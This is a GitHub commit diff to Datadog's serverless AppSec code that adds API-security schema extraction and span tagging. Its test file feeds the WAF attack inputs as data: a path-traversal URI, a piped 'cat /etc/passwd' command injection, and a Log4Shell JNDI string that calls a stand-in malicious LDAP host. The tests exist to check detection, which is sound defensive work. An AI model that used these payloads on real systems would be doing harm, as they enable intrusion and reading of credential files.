Skip to content

Commit

Permalink
serverless/appsec: generate and add request schemas to tags
Browse files Browse the repository at this point in the history
  • Loading branch information
Hellzy committed Nov 9, 2023
1 parent 49f357b commit 9a74209
Show file tree
Hide file tree
Showing 5 changed files with 81 additions and 25 deletions.
22 changes: 16 additions & 6 deletions pkg/serverless/appsec/appsec.go
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,11 @@ func newAppSec() (*AppSec, error) {
}

var rules map[string]any
if err := json.Unmarshal([]byte(appsec.StaticRecommendedRules), &rules); err != nil {
ruleset, err := appsec.DefaultRuleset()
if err != nil {
return nil, err
}
if err := json.Unmarshal(ruleset, &rules); err != nil {
return nil, err
}
handle, err := waf.NewHandle(rules, cfg.Obfuscator.KeyRegex, cfg.Obfuscator.ValueRegex)
Expand All @@ -104,21 +108,27 @@ func (a *AppSec) Close() error {
}

// Monitor runs the security event rules and return the events as an slice
func (a *AppSec) Monitor(addresses map[string]any) []any {
func (a *AppSec) Monitor(addresses map[string]any) (res waf.Result) {
log.Debugf("appsec: monitoring the request context %v", addresses)
ctx := waf.NewContext(a.handle)
if ctx == nil {
return nil
return res
}
defer ctx.Close()
timeout := a.cfg.WafTimeout

// Naive 10% sampling for API Security, disabled for testing
// if rand.Uint32()%10 == 0 {
addresses["waf.context.processor"] = map[string]any{"extract-schema": true}
// }

res, err := ctx.Run(waf.RunAddressData{Persistent: addresses}, timeout)
if err != nil {
if err == waf.ErrTimeout {
log.Debugf("appsec: waf timeout value of %s reached", timeout)
} else {
log.Errorf("appsec: unexpected waf execution error: %v", err)
return nil
return res
}
}

Expand All @@ -128,9 +138,9 @@ func (a *AppSec) Monitor(addresses map[string]any) []any {
}
if !a.eventsRateLimiter.Allow() {
log.Debugf("appsec: security events discarded: the rate limit of %d events/s is reached", a.cfg.TraceRateLimit)
return nil
return waf.Result{}
}
return res.Events
return res
}

// wafHealth is a simple test helper that returns the same thing as `waf.Health`
Expand Down
57 changes: 41 additions & 16 deletions pkg/serverless/appsec/appsec_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -50,23 +50,48 @@ func TestMonitor(t *testing.T) {
t.Setenv("DD_SERVERLESS_APPSEC_ENABLED", "true")
t.Setenv("DD_APPSEC_WAF_TIMEOUT", "2s")
asm, err := newAppSec()
defer asm.Close()
require.NoError(t, err)
require.Nil(t, err)

uri := "/path/to/resource/../../../../../database.yml.sqlite3"
addresses := map[string]interface{}{
"server.request.uri.raw": uri,
"server.request.headers.no_cookies": map[string][]string{
"user-agent": {"sql power injector"},
},
"server.request.query": map[string][]string{
"query": {"$http_server_vars"},
},
"server.request.path_params": map[string]string{
"proxy": "/path/to/resource | cat /etc/passwd |",
},
"server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9",
}
events := asm.Monitor(addresses)
require.NotNil(t, events)
t.Run("events-detection", func(t *testing.T) {
uri := "/path/to/resource/../../../../../database.yml.sqlite3"
addresses := map[string]interface{}{
"server.request.uri.raw": uri,
"server.request.headers.no_cookies": map[string][]string{
"user-agent": {"sql power injector"},
},
"server.request.query": map[string][]string{
"query": {"$http_server_vars"},
},
"server.request.path_params": map[string]string{
"proxy": "/path/to/resource | cat /etc/passwd |",
},
"server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9",
}
events := asm.Monitor(addresses)
require.NotNil(t, events)
})

t.Run("api-security", func(t *testing.T) {
uri := "/apisec/test"
addresses := map[string]interface{}{
"server.request.uri.raw": uri,
"server.request.headers.no_cookies": map[string][]string{
"user-agent": {"acunetix-product"},
},
"server.request.query": map[string][]string{
"query": {"$http_server_vars"},
},
"server.request.path_params": map[string]string{
"proxy": "/path/to/resource | cat /etc/passwd |",
},
"server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9",
"waf.context.processor": map[string]any{"extract-schema": true},
}
res := asm.Monitor(addresses)
require.NotNil(t, res.Events)
require.NotEmpty(t, res.Derivatives)

})
}
3 changes: 2 additions & 1 deletion pkg/serverless/appsec/httpsec/http.go
Original file line number Diff line number Diff line change
Expand Up @@ -24,13 +24,14 @@ import (
"strings"

"github.com/DataDog/datadog-agent/pkg/util/log"
waf "github.com/DataDog/go-libddwaf"
)

// Monitorer is the interface type expected by the httpsec invocation
// subprocessor monitoring the given security rules addresses and returning
// the security events that matched.
type Monitorer interface {
Monitor(addresses map[string]any) (events []any)
Monitor(addresses map[string]any) waf.Result
}

// AppSec monitoring context including the full list of monitored HTTP values
Expand Down
11 changes: 9 additions & 2 deletions pkg/serverless/appsec/httpsec/proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -237,9 +237,16 @@ func (lp *ProxyLifecycleProcessor) spanModifier(lastReqId string, chunk *pb.Trac
log.Debug("appsec: missing span tag http.status_code")
}

if events := lp.appsec.Monitor(ctx.toAddresses()); len(events) > 0 {
setSecurityEventsTags(span, events, reqHeaders, nil)
if res := lp.appsec.Monitor(ctx.toAddresses()); len(res.Events) > 0 {
setSecurityEventsTags(span, res.Events, reqHeaders, nil)
chunk.Priority = int32(sampler.PriorityUserKeep)

if len(res.Derivatives) > 0 {
log.Debugf("appsec: derivatives > 0!!!")
} else {
log.Debugf("appsec: no derivatives!!!")
}
setAPISecurityTags(span, res.Derivatives)
}
}

Expand Down
13 changes: 13 additions & 0 deletions pkg/serverless/appsec/httpsec/tags.go
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,19 @@ func setSecurityEventsTags(span span, events []any, headers, respHeaders map[str
}
}

// setAPISecurityEventsTags sets the AppSec-specific span tags related to API security schemas
func setAPISecurityTags(span span, derivatives map[string]any) {
for key, val := range derivatives {
log.Debugf("appsec: processing API sec tag %s", key)
if rawVal, err := json.Marshal(val); err != nil {
log.Errorf("appsec: unexpected error while creating the API security tags: %v", err)
} else {
log.Debugf("appsec: setting API sec tag %s", key)
span.SetMetaTag(key, string(rawVal))
}
}
}

// normalizeHTTPHeaders returns the HTTP headers following Datadog's
// normalization format.
func normalizeHTTPHeaders(headers map[string][]string) (normalized map[string]string) {
Expand Down

0 comments on commit 9a74209

Please sign in to comment.